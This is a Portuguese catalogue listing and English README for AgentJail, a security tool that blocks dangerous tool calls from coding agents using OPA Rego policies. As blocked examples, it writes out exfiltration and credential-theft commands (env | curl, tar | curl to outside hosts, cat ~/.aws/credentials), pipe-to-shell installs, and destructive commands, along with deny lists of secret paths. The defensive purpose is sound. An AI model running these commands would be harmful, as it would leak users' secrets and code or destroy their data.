AgentJail
LuD1161/agentjail
Proteção local para agentes de código com políticas OPA antes da execução
Ver no GitHubSistema de proteção que valida chamadas de ferramentas de agentes de código (Claude Code, Codex, Cursor) antes da execução, usando políticas OPA Rego. Implementa guardrails locais com latência negligenciável (~8ms) para bloquear operações perigosas como exclusão de arquivos sensíveis, vazamento de credenciais e comandos maliciosos.
Instalação
npx convez-ai LuD1161/agentjail1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.
Métricas
Casos de uso
- Bloquear agentes de acessar/deletar arquivos sensíveis e credenciais
- Prevenir vazamento de variáveis de ambiente e dados confidenciais
- Impedir comandos destrutivos (git force push, npm publish não autorizado)
- Validar operações shell perigosas (pipe-to-shell, curl | bash)
Veredito

Ferramenta sólida de segurança para quem usa agentes de código em produção. Implementação pragmática com OPA Rego oferece políticas reais e auditáveis — superior a hacks regex. Recomendado para equipes que priorizam contenção de risco sem sacrificar fluxo de trabalho.
README
A tradução para o português deste README ainda está na fila.
Policy guardrails for coding agents — your agent literally can't do that
A safety rail for Claude Code, Codex, and Cursor. It catches the accidental foot-gun before it fires — no changes to how you use your agent.
curl -fsSL https://raw.githubusercontent.com/LuD1161/agentjail/main/install.sh | sh
or
brew install LuD1161/tap/agentjail
A coding agent gets blocked before it fires. ▶ Watch the 36-second demo with sound · source in video/.
How it works
Every tool call your agent makes is checked against a policy in ~8 ms before it runs:
Claude Code / Codex / Cursor
│ (PreToolUse hook — every tool call)
▼
agentjail-hook ── Unix socket ──▶ agentjail-daemon ──▶ OPA Rego rules
│ │
└──── allow / deny / ask ◀─────────────────────────────┘
| ✅ ALLOW | ⚠️ ASK | ❌ DENY |
|---|---|---|
| runs normally | escalates to you | never executes |
You keep working exactly as before. The only difference: the dumb stuff quietly never happens.
- 🪝 Zero-config — one install command auto-detects your agents and wires the hook
- ⚡ ~8 ms median — persistent OPA daemon + decision cache. You won't feel it
- 🛡️ Defense in depth — hook-level policy + optional kernel sandbox (
agentjail-shield) - 📜 Real policy engine — OPA Rego rules, not regex hacks
- 🔒 Fail-closed — when in doubt, deny
What it stops
| Agent does this | Verdict | Rule | |
|---|---|---|---|
| 🧹 | rm -rf ~/Downloads/* | ❌ DENY | file_policy/sensitive_credential |
| 🤖 | cat .env ~/.aws/credentials | ❌ DENY | file_policy/sensitive_credential |
| 💸 | env | curl https://debug-dashboard.com | ❌ DENY | command_policy/no-env-exfil |
| 🔧 | curl get.foo.com | bash | ❌ DENY | command_policy/no-pipe-to-shell |
| 🔥 | git push --force origin main | ❌ DENY | command_policy/no-git-push-force |
| 📦 | npm publish --access public | ⚠️ ASK | command_policy/confirm-publish |
| 🪤 | echo ... >> ~/.zshrc | ❌ DENY | library/no-shell-init-write |
| 🌐 | tar | curl https://code-review-ai.io | ❌ DENY | network allowlist |
🧹 "Help me clean up disk space — my Downloads is huge"
rm -rf ~/Downloads/*
~/Downloads is on the deny-list because real users keep tax docs, signed contracts, and SSH keys downloaded from password managers in there.
🤖 "Summarize my project so I can paste it into an LLM"
cat .env .env.local config/*.yaml ~/.aws/credentials
This is the most common accidental leak today. Agent reads .env "just to see the project setup", the contents end up in its context window, and from there they can land in a chat summary or a tool result sent to a third-party service. The policy stops it before the read happens.
💸 "Help me debug why my AWS calls are failing"
env | curl -X POST https://my-debug-dashboard.com/log -d @-
Two layers fire: the hook catches env|curl patterns, and the kernel sandbox (when running under agentjail-shield) refuses the TCP connection because my-debug-dashboard.com isn't in network.allowed_hosts.
🔧 "Install this dev tool a tutorial mentioned"
curl -fsSL https://random-blog.com/install.sh | bash
Pipe-to-shell from a URL is the single most common way developer machines get popped. Refused by default. If the source is genuinely trusted, you (not the agent) can run it directly.
🔥 "Sync my branch to match origin"
git push origin main --force
Force-pushing to a shared branch destroys other people's commits silently. Turns into an ask-the-human moment instead.
📦 "Publish the package now that it's ready"
npm publish --access public
Publishing to a registry can't be undone. Escalates to user instead of just doing it.
🪤 "Add this alias to my shell so we have it next time"
echo 'alias deploy="git push origin main --force"' >> ~/.zshrc
Writing to ~/.zshrc is how an agent leaves landmines that fire weeks later in a different session. Opt-in library rule — enable with agentjail policy enable no_shell_init_write.
🌐 "Sync this codebase to a code-review AI"
tar czf - . | curl -X POST https://code-review-ai.io/analyze --data-binary @-
You may genuinely want this service — but only after you've made an explicit decision and added it to network.allowed_hosts. Default-deny means surprise data-egress doesn't happen by accident.
Install
macOS / Linux (one-liner):
curl -fsSL https://raw.githubusercontent.com/LuD1161/agentjail/main/install.sh | sh
Homebrew: brew install LuD1161/tap/agentjail
Auto-detects your agents (Claude Code, Codex, Cursor), wires the hook, starts the daemon. Restart your shell or source ~/.zshrc afterwards.
agentjail status # verify everything is wired
agentjail try "cat ~/.ssh/id_rsa" # dry-run: ✗ DENY (nothing executes)
agentjail logs # watch decisions live
Manual / per-agent control:
agentjail install --for claude-code # wire a single agent
agentjail install --all # non-interactive, install all detected
Agent discovery + picker: the installer presents a styled interactive multi-select — all detected agents start checked; press Space to uncheck, Enter to confirm. Without a TTY (CI): hooks are wired for all detected agents automatically.
Linux note: detection runs cross-platform, but the daemon (launchd) is macOS-only in this release. On Linux, detected agents are reported but hook wiring is skipped with a clear message.
From source:
git clone https://github.com/LuD1161/agentjail.git && cd agentjail
for bin in agentjail agentjail-hook agentjail-daemon agentjail-shield agentjail-netproxy; do
go build -o ~/.agentjail/bin/$bin ./cmd/$bin
done
~/.agentjail/bin/agentjail install
Requires Go 1.22+.
macOS Gatekeeper: the curl | sh and brew paths are Gatekeeper-clean. If you download a release tarball through a browser: xattr -d com.apple.quarantine ~/.agentjail/bin/agentjail
Updating
agentjail update
Downloads the latest release, verifies SHA-256, atomically swaps binaries, restarts the daemon. Requires an interactive terminal (agents can't self-update). No-op when already current.
What's protected
3 core policies (always on):
| Policy | Catches |
|---|---|
file_policy | reads/writes to ~/.ssh, ~/.aws, ~/.gnupg, credentials, secrets, .env* |
mcp_policy | unknown MCP servers; default-blocked: *stripe*, *payment*, *billing* |
command_policy | rm -rf, curl|bash, sudo, git push --force, env|curl, chmod 777, and more |
2 self-protection rules (locked, cannot be disabled):
| Rule | Blocks |
|---|---|
no_daemon_kill | kill / pkill targeting agentjail-daemon |
no_hook_self_disable | writes to agent settings (removing its own hook) |
agentjail policy list # see every rule + on/off/locked
agentjail policy enable no_shell_init_write
| Rule | What it adds |
|---|---|
no_shell_init_write | block writes to ~/.zshrc, ~/.bashrc, ~/.bash_profile |
no_app_binary_write | block writes to /Applications/*.app/Contents/MacOS/ |
no_launchctl | block osascript, launchctl submit, at, crontab |
no_history_read | block reads of shell histories + browser cookies/history |
no_shell_eval | block eval, bash -c $VAR, base64-decode pipelines |
no_destructive_git | block git reset --hard, git clean -fdx, git restore . |
agentjail policy list # on / off / locked for every rule
agentjail policy disable file_policy/sensitive_in_project # stop asking on in-project secrets
agentjail policy enable file_policy/sensitive_in_project # turn it back on
Disabling a core rule requires --force + interactive confirmation. A locked self-protection set can never be disabled.
Managing MCP servers:
agentjail mcp list # current allowed + blocked
agentjail mcp allow claude-mem # trust a server
agentjail mcp block my-payment-bot
Install auto-seeds the allowlist from your existing MCP config (including Claude Code plugins). Changes require interactive terminal confirmation.
Custom policies
Rules are OPA Rego. Install with the CLI:
agentjail policy add ~/my_rule.rego # validates + hot-reloads daemon
agentjail policy remove my_rule
agentjail policy list
Namespace: every custom rule_id must use custom/<filename_stem>/<rule>.
Validation: agentjail policy add enforces package agentjail, no decision declaration, correct namespace, and full-bundle OPA compile.
Bad rules are quarantined: if a custom rule breaks the bundle at daemon startup, the daemon skips it with a WARN log. The baseline always loads.
samples/ ships with 5 example policies + 3 config templates:
policies/mcp_filesystem_readonly.rego— lock filesystem MCP to read-onlypolicies/custom_no_kubectl_prod.rego— denykubectl --context=prod*configs/policy-strict.yaml— zero-trust default- See
samples/README.mdfor the full authoring guide
Telemetry
Anonymous usage statistics (counts, OS/arch, version, rule IDs fired). Never sends file paths, commands, repo names, or environment contents.
agentjail telemetry view # see what's queued
agentjail telemetry disable # opt out (or: AGENTJAIL_SEND_ANONYMOUS_USAGE_STATS=false)
Off automatically in CI. Full details in docs/TELEMETRY.md.
Roadmap
| Tier | What | Status |
|---|---|---|
| 1 — Hook | PreToolUse hook + OPA daemon + core policies | ✅ shipped |
| 1.5 — Kernel sandbox | agentjail-shield + agentjail-netproxy | ✅ shipped |
| 2 — MicroVM | Firecracker/libkrun VM-boundary enforcement | 🔬 spike done |
| 3 — Kernel module | eBPF LSM / macOS SystemExtension | 📋 planned |
Platform support: macOS + Linux today. Windows deferred — WSL works in the meantime. (ADR 0007)
v0.2.0 — credential broker (ADR 0004): strips ambient credentials at agent launch and issues short-lived scoped credentials on request.
Docs
docs/ARCHITECTURE.md— architecture overviewdocs/SANDBOX.md— sandbox (agentjail-shield) user guidedocs/adr/— architecture decision recordsdocs/TELEMETRY.md— telemetry detailssamples/README.md— example policies + configsCHANGELOG.md— release notes
Contributing
See CONTRIBUTING.md. All commits are signed off (DCO) and follow Conventional Commits.
License
Apache-2.0 — explicit defensive patent grant.